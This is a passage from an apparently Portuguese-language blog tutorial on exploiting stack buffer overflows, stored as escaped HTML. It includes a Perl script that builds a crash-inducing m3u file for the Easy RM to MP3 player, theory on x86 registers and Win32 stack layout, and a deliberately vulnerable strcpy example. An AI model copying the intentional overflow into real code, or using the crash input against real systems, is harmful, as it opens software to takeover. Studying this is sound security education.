href="http://1.bp.blogspot.com/-2r6jAkIcSS0/TaQndoqABBI/AAAAAAAAAMc/WjiuvovNjJg/s1600/img_01.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 169px;" src="http://1.bp.blogspot.com/-2r6jAkIcSS0/TaQndoqABBI/AAAAAAAAAMc/WjiuvovNjJg/s400/img_01.png" alt="" id="BLOGGER_PHOTO_ID_5594640027184268306" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;          &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }pre.cjk { font-family: "DejaVu Sans",monospace; }&lt;/style&gt;  &lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;Vamos utilizar o seguinte script perl para criar o arquivo m3u, que nos ajudará a descobrir mais informações sobre a vulnerabilidade (se criar o script no windows, retire a primeira linha abaixo):&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;pre class="western" style="background: none repeat scroll 0% 0% rgb(244, 244, 244); border: medium none; padding: 0cm; line-height: 0.42cm; text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-family:consolas,Courier New,courier,monospace;"&gt;&lt;span style="font-size:78%;"&gt;my $file= &lt;span style="color: rgb(0, 96, 128);"&gt;"crash.m3u"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-family:consolas,Courier New,courier,monospace;"&gt;&lt;span style="font-size:78%;"&gt;my $junk= &lt;span style="color: rgb(0, 96, 128);"&gt;"\x41"&lt;/span&gt; x 10000;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-family:consolas,Courier New,courier,monospace;"&gt;&lt;span style="font-size:78%;"&gt;open($FILE,&lt;span style="color: rgb(0, 96, 128);"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-family:consolas,Courier New,courier,monospace;"&gt;&lt;span style="font-size:78%;"&gt;print $FILE &lt;span style="color: rgb(0, 96, 128);"&gt;"$junk"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-family:consolas,Courier New,courier,monospace;"&gt;&lt;span style="font-size:78%;"&gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-family:consolas,Courier New,courier,monospace;"&gt;&lt;span style="font-size:78%;"&gt;print &lt;span style="color: rgb(0, 96, 128);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 96, 128);"&gt;Arquivo &lt;/span&gt;&lt;span style="color: rgb(0, 96, 128);"&gt;m3u &lt;/span&gt;&lt;span style="color: rgb(0, 96, 128);"&gt;c&lt;/span&gt;&lt;span style="color: rgb(0, 96, 128);"&gt;r&lt;/span&gt;&lt;span style="color: rgb(0, 96, 128);"&gt;iado com sucesso&lt;/span&gt;&lt;span style="color: rgb(0, 96, 128);"&gt;\n"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Execute o script perl para criar o arquivo m3u. Seu conteúdo será 10000 letras A (\x41 é o hexadecimal de A). Agora abra o arquivo com o Easy RM to MP3...&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;A aplicação exibe um erro, mas o erro parece q está sendo tratado corretamente e a aplicação não trava. Modifique o script para criar um arquivo m3u com 20000 A's e tente de novo. Mesmo comportamento (a exception é tratada corretamente, então podemos não ter escrito algo útil). Mas vamos tentar de novo. Mude o script para escrever 30000 A's, crie o arquivo m3u e abra-o com a aplicação.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Booommmm!!!! A aplicação morreu :-)&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Bem, descobrimos que a aplicação trava se inserimos um arquivo que contenha entre 20000 e 30000 A's. Mas o que podemos fazer com isso?&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;          &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }a:link {  }&lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="page-break-before: always; text-align: justify;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;Verifique o bug e veja se pode ser algo interessante&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Obviamente nem todo travamento de uma aplicação. Em muitos casos, um travamento não nos levará à possível exploração... Mas algumas vezes sim. Com “exploração”, quero dizer que você pode fazer com que a aplicação execute algo diferente através do controle do seu fluxo (e redirecione-o para algum outro local). Isso pode ser feito através do controle do &lt;a href="http://en.wikipedia.org/wiki/X86_assembly_language" target="_blank"&gt;Instruction Pointer&lt;/a&gt; , que é um registrador da CPU que contem um ponteiro para onde a próxima instrução que precisa ser executada, está localizada.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Vamos supor que uma determinada aplicação chama uma função com um parâmetro. Antes de ir para a função, ele salva sua localização no instruction pointer (assim saberá para onde retornar quando a função for completada). Se podemos modificar o valor desse ponteiro, e apontá-lo para um local na memória que contenha o código desenvolvido por nós, então podemos mudar o fluxo da aplicação e fazê-la executar algo diferente (diverso do seu retorno original ao local inicial). O código que faremos a aplicação executar após controlar seu fluxo, é normalmente referido como “shellcode”.  &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Dessa forma, se conseguirmos fazer com que a aplicação execute nosso shellcode, podemos fazer com que ela chame um exploit! Na maioria dos casos, este ponteiro é conhecido pelo termo EIP. Este registrador possui 4 bytes de tamanho. Portanto, se pudermos modificar esse 4 bytes, controlaremos a aplicação (owned...rs).&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;          &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }h3 { margin-bottom: 0.21cm; }h3.ctl { font-family: "Lohit Hindi"; }a:link {  }&lt;/style&gt;  &lt;/p&gt;&lt;h3 class="western" style="page-break-before: always; text-align: justify;"&gt;Antes de continuarmos, um pouco de teoria&lt;/h3&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Há alguns termos que precisamos que entender. Toda aplicação Windows utiliza partes da memória.   A memória de processos contém 3 grandes componente:&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;p class="western"&gt;code segment (instruções que  o processador executa. O EIP armazena o local da próxima instrução)&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western"&gt;data segment (variáveis,  buffers dinâmicos)&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western"&gt;stack segment (utilizado para  passar dados/argumentos para funções, e é utilizado como espaço  para variáveis. A pilha (stack) começa (a parte inferior da pilha)  do final da memória virtual, e vai até o início da mesma (para os  endereços menores). Um PUSH adiciona algo ao topo da pilha, POP  remove um ítem (4 bytes) da pilha e coloca no registrador.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Se queremos acessar a pilha diretamente, podemos utilizar o ESP (Stack Pointer), que aponta o topo (isso quer dizer o endereço mais baixo da memória) da pilha.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;p class="western"&gt;Depois de um PUSH, o ESP  apontará para o endereço mais baixo da memória (o endereço é  decrementado com o tamanho dos dados que são colocados na pilha,  que possuem o tamanho de 4 bytes no caso de endereços/ponteiros). O  decremento normalmente ocorre antes do ítem ser colocado na pilha  (dependendo da implementação... se o ESP já aponta para o próximo  local livre na pilha, o decremento ocorre após a colocação dos  dados na pilha).&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western"&gt;Após um POP, o ESP aponta para  um endereço mais alto (o endereço é incrementado por 4 byes no  caso de endereços/ponteiros) O incremento ocorre após um ítem ser  removido da pilha.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Quando uma função/subrotina é iniciada, um frame é criado na pilha. Este frame mantém os parâmetros dos procedimentos paralelos e é utilizado para passar argumentos à subrotina. A localização atual da pilha, pode ser acessada através do stack pointer (ESP), a base atual da função estará contida no base pointer (EBP) (ou frame pointer).&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Os registradores da CPU para operações em geral (Intel, x86) são:&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;EAX&lt;/b&gt;  : accumulator : utilizado na realização de cálculos e armazenar  valores retornados por chamadas de funções. Operações básicas  como soma, subtração, utilizam esse registrador para propósito  geral.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;EBX&lt;/b&gt;  : base (não tem nenhuma relação com o base pointer). Não tem  nenhum propósito específico e pode ser utilizado par armazenar  dados.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;ECX&lt;/b&gt;  : counter : usado para iterações. ECX realiza sua contagem de  forma decrescente.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;EDX&lt;/b&gt;  : data : este é uma extensão do registrador EAX. Permite cálculos  mais complexos (multiplicação, divisão) permitindo dados extras  serem armazenados para facilitar tais cálculos.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;ESP&lt;/b&gt;  : stack pointer   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;EBP&lt;/b&gt;  : base pointer   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;ESI&lt;/b&gt;  : source index : armazena a localização da entrada de dados.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;EDI&lt;/b&gt;  : destination index : aponta para a localização de onde o  resultado de operações co dados estão armazenados.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western"&gt;&lt;b&gt;EIP&lt;/b&gt; : instruction  pointer   &lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;h3 class="western" style="page-break-before: always; text-align: justify;"&gt;Memória de Processo&lt;/h3&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Quando uma aplicação é iniciada em ambiente Win32, um processo é criado e memória virtual é alocada. Em um processo de 32 bits, o range de endereços é de 0x00000000 à 0xFFFFFFFF, onde de 0x00000000 à 0x7FFFFFFF é alocado para “user-land”, e de 0x800000000 à 0xFFFFFFFF é alocado para “kernel-land”. Windows utiliza o &lt;a href="http://en.wikipedia.org/wiki/Flat_memory_model" target="_blank"&gt;flat memory model&lt;/a&gt;, que significa que a CPU pode diretaente/sequencialmente/linearmente endereçar todos os locais da memória disponível, sem precisar utilizar o esquema de segmentação/paginação. &lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;A memória de kernel land é acessível apenas pelo sistema operacional.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Quando um processo é criado, um &lt;a href="http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html" target="_blank"&gt;PEB&lt;/a&gt; (Process Execution Block) e TEB (Thread Environment Block) são criados.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;O PEB contém todos os parâmetros do tipo user land que estão associados com o processo corrente:&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;p class="western"&gt;localização do principal  executável&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western"&gt;ponteiro para o carregador de  dados (pode ser utilizado para listar todas as dll's/módulos que  estão/podem ser carregados no processo)&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western"&gt;ponteiro para informação  sobre o heap&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;O TEB descreve o estado da thread, e inclui:&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;p class="western"&gt;localização do PEB na memória&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western"&gt;localização da pilha para a  thread a qual pertence&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western"&gt;ponteiro para a primeira  entrada na SEH chain (veremos o que isso quer dizer em um próximo  tutorial)&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;br /&gt;Cada thread dentro do processo tem um TEB.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;O mapa da memória de processos Win32 se parece com o seguinte:&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;a href="http://3.bp.blogspot.com/-FZMxswixank/TaQoTBGQ-uI/AAAAAAAAAMk/EYr64udDr2U/s1600/img_02.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 313px;" src="http://3.bp.blogspot.com/-FZMxswixank/TaQoTBGQ-uI/AAAAAAAAAMk/EYr64udDr2U/s400/img_02.png" alt="" id="BLOGGER_PHOTO_ID_5594640944278338274" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;          &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;O segmento de texto de uma imagem/dll de um programa é apenas para leitura, já que contém apenas o código da aplicação. Isso previne que alguém modifique o código da aplicação. Este segmento da memória tem um tamanho fixo. O segmento de dados é utilizado para armazenar variáveis estáticas e globais do programa. O segmento de dados é utilizado para variáveis, strings e constantes inicializadas.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;O segmento de dados é alterável e possui tamanho fixo. O segmento da heap é utilizado para o restante das variáveis do programa. Pode crescer mais ou menos como desejado. Toda a memória na heap é gerenciada por algoritmos de alocação (e desalocação). Uma região da memória é reservada para esse algoritmos. A heap crescerá em direção aos endereços mais altos.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Em uma dll, o código, imports (lista de funções utilizadas pela dll, de outra dll ou aplicação), e exports (funções disponíveis para outras dll's da aplicação) são partes do segmento .text.&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;          &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }h3 { margin-bottom: 0.21cm; }h3.ctl { font-family: "Lohit Hindi"; }a:link {  }&lt;/style&gt;  &lt;/p&gt;&lt;h3 class="western" style="page-break-before: always; text-align: justify;"&gt;A pilha&lt;/h3&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;A &lt;a href="http://en.wikipedia.org/wiki/Stack-based_memory_allocation"&gt;pilha&lt;/a&gt; é uma peça da memória de processo, uma estrutura de dados que trabalha no esquema LIFO (Last in first out – último a entrar, primeiro a sair). Uma pilha é alocada pelo só, para cada thread (quando a thread é criada). Quando a thread é finalizada, a pilha também é liberada. O tamanho da pilha é definido quando ela é criada e não é alterado. Combinado com o LIFO e o fato de que não requer mecanismos/estruturas complexas de gerenciamento para ser controlada, a pilha é bem rápida, mas de tamanho limitado.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;LIFO significa que o dado mais novo (resultado de uma instrução PUSH), é o primeiro que será removido da pilha novamente (por uma instrução POP).&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Quando uma pilha é criada, o ponteiro da pilha aponta para o topo da pilha (o endereço mais alto na pilha). A medida que a informação é inserida na pilha, este ponteiro decrementa-se (vai para um endereço mais baixo). Então, em essência, a pilha sobe para um endereço mais baixo.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;A pilha contém variáveis locais, chamadas de função e outras informações que não precisam ser armazenadas por um longo período de tempo. A medida que mais dados são adicionado à pilha, o ponteiro da pilha é decrementado e aponta para um endereço de valor menor.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Todas as vezes que uma função é chamada, os parâmetros da mesma são inseridos na pilha, assim como os valores salvos dos registradores (EBP, EIP). Quando uma função retorna, o valor salvo do EIP é recuperado da pilha e colocado de volta no EIP, assim o fluxo normal da aplicação pode ser seguido.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Vamos utilizar um código simples, de poucas linhas, para demonstrar o comportamento:&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;#include &lt;string.h&gt; &lt;/string.h&gt;&lt;/i&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;void do_something(char *Buffer) &lt;/i&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;{ &lt;/i&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;     &lt;span style="font-size:85%;"&gt;&lt;i&gt;char MyVar[128]; &lt;/i&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;     &lt;span style="font-size:85%;"&gt;&lt;i&gt;strcpy(MyVar,Buffer); &lt;/i&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;} &lt;/i&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;int main (int argc, char **argv) &lt;/i&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;{ &lt;/i&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;     &lt;span style="font-size:85%;"&gt;&lt;i&gt;do_something(argv[1]); &lt;/i&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;}&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;br /&gt;Compile a aplicação com o Dev-C++ no Windows XP e execute-a com o comando:&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;blockquote&gt;pilha.exe AAAAA&lt;/blockquote&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Nada deve retornar como resultado.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;blockquote class="western" style="margin-left: 0cm;"&gt;Esta aplicação recebe um argumento (argv[1]) e transmite-o para a função do_something(). Nessa função, o argumento é copiado em uma variável local que suporte o máximo de 128 bytes. Bem... se o argumento for maior que 127 bytes (+ um byte nulo para finalizar a string), o buffer pode ser estourado.&lt;/blockquote&gt; &lt;/div&gt;&lt;blockquote class="western" style="margin-left: 0cm;"&gt;&lt;div style="text-align: justify;"&gt;Quando a função “do_something(param1)” é chamada de dentro do main(), o seguinte ocorre:  um novo frame de pilha será criado, no topo da pilha correlata. O ponteiro da pilha (ESP) aponta para o endereço mais alto da nova pilha criada. Este é o “topo da pilha”.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-cRBCLqfNeM8/TaQpCz5WCwI/AAAAAAAAAMs/PILJ_2mSYvM/s1600/img_03.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 297px; height: 277px;" src="http://4.bp.blogspot.com/-cRBCLqfNeM8/TaQpCz5WCwI/AAAAAAAAAMs/PILJ_2mSYvM/s400/img_03.png" alt="" id="BLOGGER_PHOTO_ID_5594641765368204034" border="0" /&gt;&lt;/a&gt;          &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Antes da função do_something ser chamada, um ponteiro para o(s) argumento(s) é inserido na pilha. Em nosso caso, este é um ponteiro para argv[1].&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-aor39VuLiM8/TaQpQ9nG87I/AAAAAAAAAM0/KwOfRfUGlj0/s1600/img_04.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 169px;" src="http://4.bp.blogspot.com/-aor39VuLiM8/TaQpQ9nG87I/AAAAAAAAAM0/KwOfRfUGlj0/s400/img_04.png" alt="" id="BLOGGER_PHOTO_ID_5594642008494240690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Pilha após a instrução MOV:&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-an4RN_lMbNc/TaQpf3D3IJI/AAAAAAAAAM8/oMfhA9qI-wo/s1600/img_05.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 163px;" src="http://1.bp.blogspot.com/-an4RN_lMbNc/TaQpf3D3IJI/AAAAAAAAAM8/oMfhA9qI-wo/s400/img_05.png" alt="" id="BLOGGER_PHOTO_ID_5594642264433827986" border="0" /&gt;&lt;/a&gt;          &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;A seguir, a função do_something é chamada. A instrução CALL primeiramente colocará o ponteiro da instrução atual na pilha (assim saberá para onde retornar se a função finalizar) e pulará para o código da função.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Pilha após a instrução CALL:&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-60kC1pzJqOg/TaQps4n8gCI/AAAAAAAAANE/8Ajaz8GnTHE/s1600/img_06.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 127px;" src="http://2.bp.blogspot.com/-60kC1pzJqOg/TaQps4n8gCI/AAAAAAAAANE/8Ajaz8GnTHE/s400/img_06.png" alt="" id="BLOGGER_PHOTO_ID_5594642488191909922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Como resultado da inserção, o ESP decrementa em 4 bytes e agora aponta para um endereço mais baixo.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://2.bp.blogspot.com/-po2VZUxicWo/TaQp60VkvFI/AAAAAAAAANM/rq_HQib4Pww/s1600/img_07.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 297px; height: 395px;" src="http://2.bp.blogspot.com/-po2VZUxicWo/TaQp60VkvFI/AAAAAAAAANM/rq_HQib4Pww/s400/img_07.png" alt="" id="BLOGGER_PHOTO_ID_5594642727559281746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;ESP aponta para 0022FF7C. Nesse endereço, podemos ver o EIP salvo (Returno to...), seguido de um indicador de ponteiro para o parâmetro (AAAA neste exemplo). Este ponteiro foi salvo na pilha antes da instrução CALL ser executada.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://3.bp.blogspot.com/-k09qebWiyOM/TaQqGZNfQtI/AAAAAAAAANU/XqBZVBS8sp0/s1600/img_08.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 56px;" src="http://3.bp.blogspot.com/-k09qebWiyOM/TaQqGZNfQtI/AAAAAAAAANU/XqBZVBS8sp0/s400/img_08.png" alt="" id="BLOGGER_PHOTO_ID_5594642926436041426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;A seguir, o prólogo da função é executado. Ele basicamente salvo o ponteiro do frame (EBP) na pilha, assim pode ser restaurado quando a função retornar. A instrução para salvar o ponteiro do frame é “push EBP”. ESP é decrementado novamente com 4 bytes.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://4.bp.blogspot.com/-8Kdwq4VHeXI/TaQqTEJpLTI/AAAAAAAAANc/RJmQJFmMK6Q/s1600/img_09.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 287px; height: 400px;" src="http://4.bp.blogspot.com/-8Kdwq4VHeXI/TaQqTEJpLTI/AAAAAAAAANc/RJmQJFmMK6Q/s400/img_09.png" alt="" id="BLOGGER_PHOTO_ID_5594643144121068850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Seguindo ao push ebp, o ponteiro atual da pilha (ESP) é colocado em EBP. Nesse ponto, tanto ESP quanto EBP apontam para o topo da pilha. A partir desse ponto, a pilha será referenciada normalmente pelo ESP (topo da pilha em qualquer momento) e EBP (o ponteiro da base da pilha). Dessa forma, a aplicação pode referenciar variáveis usando um offset de EBP.  &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Obs.: A maioria das funções começam com essa sequência: PUSH EBP, seguido por MOV EBP,ESP.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; 